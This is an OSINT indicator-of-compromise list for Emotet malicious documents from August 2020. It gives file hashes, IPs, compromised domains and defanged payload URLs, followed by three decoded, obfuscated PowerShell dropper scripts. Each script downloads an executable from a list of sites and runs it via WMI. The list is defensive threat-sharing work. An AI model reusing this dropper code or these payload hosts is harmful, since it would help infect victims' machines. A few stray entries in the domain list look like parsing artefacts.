Emotet_Doc_out_2020-08-01_14_20.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

5f8afeaecb819560a5cebd56fc5eeba473f564b4dcc9cbd45858c7f2c372920c
367f2f995e38f50fedd48c4e3be7c39b53d039196ec81d665d33f6dbe342a211
a5e49651a4ceb4093ac46ce88ee3af724337df6eab504b2f3c6c287d17c13a82
0c8d1998fd7ba0d37d38612d3c44e6fbf5a1d23d37430dc26b9d967b1150acb8
3249f88f826d81cd257476820b8d47096da83c22cccec5425fbc8582ba36535f
46c5bbbbd2d35ffc393225ade6d17f25234a3983234f4455f6202db2f2468458
c67fef2da033020da2b7cb8358f149595809b17af77f053453d642a6bb96e780
632f7bf7d5e37a159289de00a3a2d6c9308c488060a91f1d8783426e901ad3bd
56650f736f77513505c612b3819459a834901d554f183da8bb88d880f5445af9
7cd5225c929ffc27c91ce7e9a9c9ae0cd7617d0d64835d513c84fedbae6ae31a
c2dd657c048f69cc272050ec717b2c8d31cb310b02e2fc5bd920783a0cab340a
6b46a73ff9f2157bfd85cfd0a6e33faa1346bf9412c477e617bc681499721ad9
efdc82aee3049603e220ed4025a7c0b105b5841b71c0babd1c7bb8fc80ec702e
1757f8ff56028fd75fbc815f44998d5dc64f48c3018f2874123aad75ba8c0b4f
4e5eeda4b4dfb6044cb7795546c201137ebe9c60642960a3f99510450c8093d9
34d30a0a7bf0bd3413d6b994188cf460fdd251de0a41e33c8a258f741094f734
5280c947c7be368ef15239ae8c1d200700586373bd7709cd6d5828dcfd7017c0
8a833117cff23289b3c939d592e9ec7808810ac42f401a4e908f59ed2ced0224
00412adc14b2b8cb95ab960c0a4b9343d4265bc65846d112c8036fbde5c6b47e
0fd93a090eff99bb3e599b4420d90860fef886f91b801cc8ce18542a3faf347d
fcda8ebff247b3a7f4759c62da121edd29be2b72b60d6071903229d3d088708e
0f3d19d2092e84e52aa8eec6d932f177849ae15bd1febf920b40e980de9aeb97
840a3b8168fdf4428b543d87650addb48e7373d78b0caba579d8a4e49c6cf99b
dc3d8bdd2b1d73f230309c1aec37901bb7d879bcd42a54dee6a8a5a78b9c6aa8
ee1fefc50f57b26a4e62ba904e9cea184b6852000ee5cd8a63a829aba59eb13f
29e2f677f97551f990f059365c39c79c340ddff4a9e19ea047d0427fb610a63e
d8a8f601fb7868b6495b8e4c97b8f7fa3748c8f3aaee3ffdf975200d70b49ff6
5f9b353d380c4ca4d3daba7877f5418fe9ca63faf673c6e88f73098ef2718213
fea74ef73aeff3c000de4d0fb83881380d352b00842be1eb8bd91a4e991e7705
d92a10a91fc1b1b8ac3bda947f552a110b71c174f5b3ab1db2aa711a7efa7eb2
ba491679e876d3f056f9d144ba32e0cb635cbe3563d2029bb089aaf3073ff7be
5695511491d9fc59e4cc2b617adcd9c3a84194b80ba76cc6d0fcfab8173ecde5
6bcfc2e422159698b57c5a2b9f68960000c3e6428c505dc4bb76ed1a92b5f891
cccb82c0239b954ca07d0f90f097b895ed5148d941096c46bc4c88dc264acbff
8e995ceb41e6e60db2bfef34aad5d308b6125b3e760996b712a9ea992e8c01d5
e2fbd53d4f855e6e0d8902b6a6f77afb42ca1834326cf4d45be88d1f70df7574
b08aee092cb3defc671949d65b32da80150ad60e64554f24eb25bea83ade4708
331b734e935423aa9163ed6b09f262bf7caad8b9b86b776577936f040b8e9580
6e2a570f6784672bd672737d8606d1678830e9b3a96f4baf636529f80c4328a9
2500e2bf1ee4be15c6ba67badbce47df2e8c4910ae6d70956ea26631afd4bd8c
f11b8a55079b29b5a63d984d3c29da9b7fcc2d7a0208fd59321de596595d240d
13433dc5c7ed6855c45219550b33a3345dd440c77c4cbb189d6df4e76f9a521d
32631dfcd1e0a725b4b51420531bfa589d3dcb19269f060e7a7083332d537fa1
7206d4acf9fb8dc20254361503be2051abdbf78a51f8890453d417d73f028f8f
3b22de2133662d6bc3110543625e64f9db12f61bd4b994f2042897181b970547
04abc34f8660da49cfcb4daa11b45febf492755f28739bb02b2e00e51e3965e3
484cee6f427088c8b2129679dd22708ea9b5511130155c8c573a0e87def7a75f
7b0638d749631d97044b3b3d44388979a43abd48143abf524df03335eeb290cf
9e2785a9cb319ef1e1ae50d46ca804ae72583b7910a6c8fcd6bdafc8fd8ce956
09a27a80f29298f59db9b2486f0d329d65f0ca86e2c0c0eeee22c7e6ce311aa2
94ddcb3d527aa945321d1e706a0d7cdebe9b0380b2ac33918e02ae142da93a34
8cac303fb6383786af2e10363d72386ea87af3d43b28788aaac92f8011180036
0b08b29b128b83a226334b159ca182c2f5f8bfbf8c1ea93855bd97c1baef32e4
719c977097662aa01186c191381e76311c5cb8804799d493e46f104d838bba7c
2921a5edaa2846bc5bb45cd6962c46cb936bdf64f171d9f6a42e686e02d1984a
b1694404ff4e0dae6ea880bf9200e1c9df0ff1818d7e3d5aa816aebe7aa4a8f5
2d0a5eef7407bd0f934ef9ad2782e437c5cdb55e31e66384e6442d82cf7735c5
6fb8a90bd031c21d70ab8922bcd7854a8de25576c3cdd885e5137f8760acbad4
8e820c2f7e822c44f26b6cc13c18b4d048cb74f5e3512d2ee7b3960afa7edc69
feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3
b38cc171c97c2c42a16652cc8d3cf0f986669ed08f1d862ecd7f36d4f606a8e3
5af425ee29c2ee4cbba1fd5422820fac2031661cd7d330abc3095b5bf4b5f4cf
9013cbc98d3bfcab7773a73f52cb9e210505972ad86f3d7460bb94bd2dac91d9
d9315d4e23fa9464769d3b149de3bff285ec97ae7aa1b5e8c0a3fb8a80e86494
dc9ed541230e97a30f45695e066b67e80728f6963ada93b7fb8d9617a653857d
3178a60156b44854f733f1807d6006d8fb5b9f79bcf3b06f84e70fd6e6be1635
87cafa5a12fc1c94f3a0d84f9f91ec1bf40066d80a53991063d1f25bb9c6710c
9e3690a0a71dc239833dddc5b2aa94983eec61d88a636aa96f12bcfac9898592
76196ff6f364fb18991ee528bdc4df5cb795974330e1b4f19c4e4ecf0f5a2ebb
b2eeddd5041eedee7e49fe10f67bbf0e658f7636ccfd952737bb3938777ba2aa
41a045f210a638572958737c9cc616024a34e9e7edc7ee2d99c3d717b10a82a1
05d7fbb4d8d2d81c1066cdfa392180356d3832952230ea62b713816042476621
5e210cc728cad76fe48b8d23d04460445e1348e49ba05c759f1abf5910bb543b
babe080855882c30021fceaee19037546acdc5284677b6152ed8fee173511788
b6439575456f298aeb46c827d8e54b62cb0aafbc67e672bb307cf1bcd72de52f
63a0020dd38d624b4b107368624280a4704a92c9df3b6931ae390496ae95d5a8
399f382ccfa411d43376344d4498cb72fa838ca29aa6fee2c3287250e5c6fecb
8cf7353adc66eb5244d4b739cb401c45ceb19e1bedc673102ca085ea8bf01751
6b04b67580f99c4730d84775462f7d4e73fdbedd1e0adad9d9be7bf92b3e27d1
485f85ad51d63ddd47e7e69531ace93b424ff5cccd7d45b4005055c5b5ece28e
e32822d9e9bc7340a52b462320a8057a073d7c54d756da59b4d5a07ae3b6d87d


IPs:
103.130.153.93
157.7.188.199
173.254.28.234
178.63.70.210
209.212.158.122
209.240.135.80
221.147.41.144
34.198.105.35
35.208.84.24
64.22.111.218
64.37.52.152
64.90.36.194
66.33.192.232
67.231.253.67
75.103.81.81

Domains:

,
At
badeggdesign.com
bodbderg.net
bunchproperties.com
calledtochange.org
fishbitedesign.com
floridoweddings.com
floydswoodshop.com
fmcav.com
goharm.com
studiotoybox.com
sujest.com
sundaystudio.net
w3art.com
www.cinefamily.org
www.stempora.com


hxxp://fishbitedesign.com/delete_me/aq_no3_pixel079b/
hxxp://floridoweddings.com/wp-admin/1_fb_3rv7z6mr/
hxxp://floydswoodshop.com/floydswo/nn_g5_0s/
hxxp://fmcav.com/images/tihvt_5d_3znqq/
hxxp://goharm.com/wp-content/plugins/classic-editor/7b_k5_bo4lrnbmo6/
hxxp://bunchproperties.com/lyhvmiq/s_ia_4uaq/
hxxp://badeggdesign.com/cgi-bin/nxr5_o_d6vmj/
hxxp://calledtochange.org/calledtochange/0_76zqg_bwnxpr84/
hxxp://www.cinefamily.org/phpMyAdmin-4.7.9-all-languages/5um_oot_hz8/
hxxp://bodbderg.net/wp-admin/ogfv5_4_x2l/
hxxp://w3art.com/dtla/bBmTEkbPK/
hxxp://www.stempora.com/
hxxp://sundaystudio.net/cgi-bin/bzsvy9778486/
hxxp://sujest.com/BL/nQsQRv/
hxxp://studiotoybox.com/common/qezZSZB/


Decoded Base64 Powershell:
$ANLVNifz='JBWNQied';
[Net.ServicePointManager]::"SECur`i`TYPROtocoL" = 'tls12, tls11, tls';
$GMBWImkk = '227';
$VXYEFwwq='ITEKUuvl';
$MSRKJudv=$env:userprofile+'\'+$GMBWImkk+'.exe';
$QFJEKhtt='TWSSEglp';
$WBVMHjpy=.('ne'+'w'+'-objec'+'t') Net.WEbclient;
$FGTHAadd='hxxp://fishbitedesign.com/delete_me/aq_no3_pixel079b/
hxxp://floridoweddings.com/wp-admin/1_fb_3rv7z6mr/
hxxp://floydswoodshop.com/floydswo/nn_g5_0s/
hxxp://fmcav.com/images/tihvt_5d_3znqq/
hxxp://goharm.com/wp-content/plugins/classic-editor/7b_k5_bo4lrnbmo6/'."Spl`It"([char]42);
$CIGZRrsq='FRBTUxkm';
foreach($FBQUFiwy in $FGTHAadd){try{$WBVMHjpy."dOWNLoa`dF`i`le"($FBQUFiwy, $MSRKJudv);
$PQNRKmod='UPOXZfet';
If ((.('G'+'et-'+'Item') $MSRKJudv)."lE`NGTH" -ge 22109) {([wmiclass]'win32_Process')."cR`eate"($MSRKJudv);
$QNSLTnoc='ACVISgvy';
break;
$LYULOxya='HSWOAuxv'}}catch{}}$XFUDVjhd='YHWRDgbi'$UFBIIlii='GHAOElzo';
[Net.ServicePointManager]::"seCU`Ri`T`YPRo`ToCoL" = 'tls12, tls11, tls';
$SWERLqbz = '853';
$HGNPKsum='MHXZCdgl';
$NTWXZnjx=$env:userprofile+'\'+$SWERLqbz+'.exe';
$FKLPRncp='ERTSXuos';
$JDUFBtcp=.('ne'+'w-'+'object') Net.wEBCLieNT;
$EFBYHhni='hxxp://bunchproperties.com/lyhvmiq/s_ia_4uaq/
hxxp://badeggdesign.com/cgi-bin/nxr5_o_d6vmj/
hxxp://calledtochange.org/calledtochange/0_76zqg_bwnxpr84/
hxxp://www.cinefamily.org/phpMyAdmin-4.7.9-all-languages/5um_oot_hz8/
hxxp://bodbderg.net/wp-admin/ogfv5_4_x2l/'."s`pliT"([char]42);
$GPQQNzpw='JHYKYagj';
foreach($DTNBCfbq in $EFBYHhni){try{$JDUFBtcp."dOwN`Lo`Ad`FIlE"($DTNBCfbq, $NTWXZnjx);
$CSPAMudq='ZTKDLkiz';
If ((.('Ge'+'t-'+'Item') $NTWXZnjx)."LEN`g`TH" -ge 36475) {([wmiclass]'win32_Process')."C`Rea`TE"($NTWXZnjx);
$PXLZUuth='TTTLNima';
break;
$GCWMWeqc='GWOCYeft'}}catch{}}$QSUFTmmx='GIWUYjdt'$YUNCLlhx='EIAVEvxv';
[Net.ServicePointManager]::"sE`c`URITy`PrOto`cOL" = 'tls12, tls11, tls';
$RNNYJkxo = '920';
$WFUPCegs='YNSBNpls';
$AKZTIudv=$env:userprofile+'\'+$RNNYJkxo+'.exe';
$XYNMLszm='WJRAOmos';
$HCGOHjvi=&('new'+'-'+'o'+'bject') NeT.WeBcLient;
$QOPSXwyg='hxxp://w3art.com/dtla/bBmTEkbPK/
hxxp://www.stempora.com/
mer/ybV/
hxxp://sundaystudio.net/cgi-bin/bzsvy9778486/
hxxp://sujest.com/BL/nQsQRv/
hxxp://studiotoybox.com/common/qezZSZB/'."s`PLit"([char]42);
$EEKYFtdy='LHNGSdyx';
foreach($XWCYBlkm in $QOPSXwyg){try{$HCGOHjvi."dO`WnLO`Ad`FiLe"($XWCYBlkm, $AKZTIudv);
$VKUBQplj='LYZGMuzh';
If ((&('Get-I'+'tem') $AKZTIudv)."lE`NGth" -ge 30501) {([wmiclass]'win32_Process')."crE`A`TE"($AKZTIudv);
$ZSUIMdne='QROBQmsi';
break;
$CNVMVkra='FUSHLpkx'}}catch{}}$BBIYDlgt='XWITUmde'